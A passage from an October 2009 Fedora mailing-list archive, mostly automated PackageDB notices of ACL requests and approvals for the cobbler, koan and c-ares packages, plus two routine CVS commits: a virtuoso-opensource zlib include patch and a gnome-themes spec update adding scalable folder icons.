Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143224.3D10D10F880@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:26 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143226.1BB2710F8B9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:27 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143227.B5E0410F892@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:33 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143233.2255810F85F@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:34 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143234.AECE210F88F@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:36 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143236.461D810F895@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:45 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143245.3F46610F8AB@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:46 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143246.83E4A10F8AF@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:47 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143247.D611510F8B5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:49 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143249.B1DE610F87F@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:54 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143254.10DFB10F895@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:54 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143254.8B5F310F8B4@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:55 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143255.07CF310F8B6@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora devel) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:55 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143255.447F710F8B9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:57 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143257.2166F10F8BA@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:59 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143259.A215210F8BC@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:59 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143259.A5AF110F8BD@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:00 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143300.213F610F8BF@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora EPEL 4) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:02 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143302.5DD2C10F8B5@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:03 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143303.EF21C10F8C4@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora EPEL 5) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:11 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143311.6F56910F8AC@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:12 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143312.330A410F8B3@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora 10) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:32:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:32:37 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143237.CFFE710F8B4@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:17 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143317.B0CC410F8BD@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:18 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143318.CF63710F8BE@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora 12) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:13 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143313.EFA9610F8BA@bastion2.fedora.phx.redhat.com>

spot has set the watchbugzilla acl on c-ares (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:15 +0000
Subject: [pkgdb] c-ares had acl change status
Message-ID: <20091020143315.8056B10F8C9@bastion2.fedora.phx.redhat.com>

spot has set the watchcommits acl on c-ares (Fedora 11) to Approved for nb

To make changes to this package see:
  /pkgdb/packages/name/c-ares



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:31 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143331.A476210F894@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:34 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143334.AA61410F8AC@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:36 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143336.5274910F8B3@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:37 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143337.C753210F8C0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:42 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143342.7061910F8B8@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:43 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143343.E3B3010F8C5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:45 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143345.5FF5810F8C2@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:47 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143347.6815D10F8C6@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:52 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143352.19B9C10F8C9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:54 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143354.AE72010F8BD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:56 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143356.2DAE610F8D1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:33:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:33:57 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143357.CBDFA10F8D4@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:17 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143417.DEB8810F86E@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:19 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143419.89F4510F894@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:20 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143420.EEA0810F8B1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:22 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143422.8720B10F8B5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:27 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143427.E95EE10F8D7@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:29 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143429.7EE6110F8DB@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:31 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143431.26DE410F8DC@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:33 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143433.0FA9F10F8DD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:37 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchbugzilla
Message-ID: <20091020143437.BF89310F8CD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:39 +0000
Subject: [pkgdb] cobbler: jeckersb has requested watchcommits
Message-ID: <20091020143439.492D010F8C9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:40 +0000
Subject: [pkgdb] cobbler: jeckersb has requested commit
Message-ID: <20091020143440.9859F10F8E0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From rdieter at fedoraproject.org  Tue Oct 20 14:34:42 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 14:34:42 +0000 (UTC)
Subject: rpms/virtuoso-opensource/F-12 virtuoso-opensource-5.0.12-zlib.patch,
	NONE, 1.1
Message-ID: <20091020143442.4833B11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21064

Added Files:
	virtuoso-opensource-5.0.12-zlib.patch 
Log Message:
import


virtuoso-opensource-5.0.12-zlib.patch:
 bif_file.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE virtuoso-opensource-5.0.12-zlib.patch ---
diff -up virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c
--- virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib	2009-10-16 05:27:36.000000000 -0500
+++ virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c	2009-10-20 08:42:56.060132625 -0500
@@ -57,7 +57,13 @@
 #endif
 
 #include "zlib.h"
-#include "zutil.h"
+/* #include "zutil.h" */
+#if MAX_MEM_LEVEL >= 8
+#  define DEF_MEM_LEVEL 8
+#else
+#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL
+#endif
+
 #include "srvmultibyte.h"
 
 #define FS_MAX_STRING	(10L * 1024L * 1024L)	/* allow files up to 10 MB */



From pkgdb at fedoraproject.org  Tue Oct 20 14:34:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:34:42 +0000
Subject: [pkgdb] cobbler: jeckersb has requested approveacls
Message-ID: <20091020143442.79DFD10F8D0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From mclasen at fedoraproject.org  Tue Oct 20 14:34:51 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 14:34:51 +0000 (UTC)
Subject: rpms/gnome-themes/F-12 .cvsignore, 1.86, 1.87 gnome-themes.spec,
	1.150, 1.151 sources, 1.92, 1.93
Message-ID: <20091020143451.F17EF11C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-themes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20849

Modified Files:
	.cvsignore gnome-themes.spec sources 
Log Message:
Add scalable folder icons



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/.cvsignore,v
retrieving revision 1.86
retrieving revision 1.87
diff -u -p -r1.86 -r1.87
--- .cvsignore	19 Oct 2009 19:47:26 -0000	1.86
+++ .cvsignore	20 Oct 2009 14:34:51 -0000	1.87
@@ -1 +1 @@
-gnome-themes-2.28.1.tar.bz2
+mist-folders-xdg.tar.gz


Index: gnome-themes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/gnome-themes.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- gnome-themes.spec	19 Oct 2009 19:47:26 -0000	1.150
+++ gnome-themes.spec	20 Oct 2009 14:34:51 -0000	1.151
@@ -1,10 +1,11 @@
 Summary: Themes for GNOME
 Name: gnome-themes
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://download.gnome.org/sources/gnome-themes/
 Source: http://download.gnome.org/sources/gnome-themes/2.28/%{name}-%{version}.tar.bz2
 # Icons done by Andreas Nilsson for http://live.gnome.org/GnomeArt/ArtRequests/issue26
+# svg versions done by Maureen Duffy
 Source2: mist-folders-xdg.tar.gz
 License: LGPLv2 and GPLv2
 Group: User Interface/Desktops
@@ -57,6 +58,7 @@ rm -rf $RPM_BUILD_ROOT%{_datadir}/themes
 tar xzf %{SOURCE2}
 cp mist-folders-xdg/16x16/*.png $RPM_BUILD_ROOT%{_datadir}/icons/Mist/16x16/places
 cp mist-folders-xdg/24x24/*.png $RPM_BUILD_ROOT%{_datadir}/icons/Mist/24x24/places
+cp mist-folders-xdg/scalable/*.svg $RPM_BUILD_ROOT%{_datadir}/icons/Mist/scalable/places
 
 # we want to own the icon caches
 for dir in $RPM_BUILD_ROOT%{_datadir}/icons/*; do
@@ -104,6 +106,9 @@ done
 %doc AUTHORS COPYING NEWS README
 
 %changelog
+* Tue Oct 20 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Add scalable versions of the xdg folder icons to Mist
+
 * Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/sources,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- sources	19 Oct 2009 19:50:04 -0000	1.92
+++ sources	20 Oct 2009 14:34:51 -0000	1.93
@@ -1,2 +1,2 @@
+7ab4fcb568c768dd8818bb1caf097998  mist-folders-xdg.tar.gz
 0159b27d7f72c74ae9595486fc13814b  gnome-themes-2.28.1.tar.bz2
-6278dc97106caaeece4dbeac417aab14  mist-folders-xdg.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:31 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143532.0D66C10F8AB@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:33 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143533.DF5C710F8B3@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:35 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143535.7B17510F8B5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:37 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143537.5742C10F8AF@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:41 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143541.EA32110F8BD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:43 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143543.64EE210F8C3@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:45 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143545.7E9AF10F8C7@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:46 2009
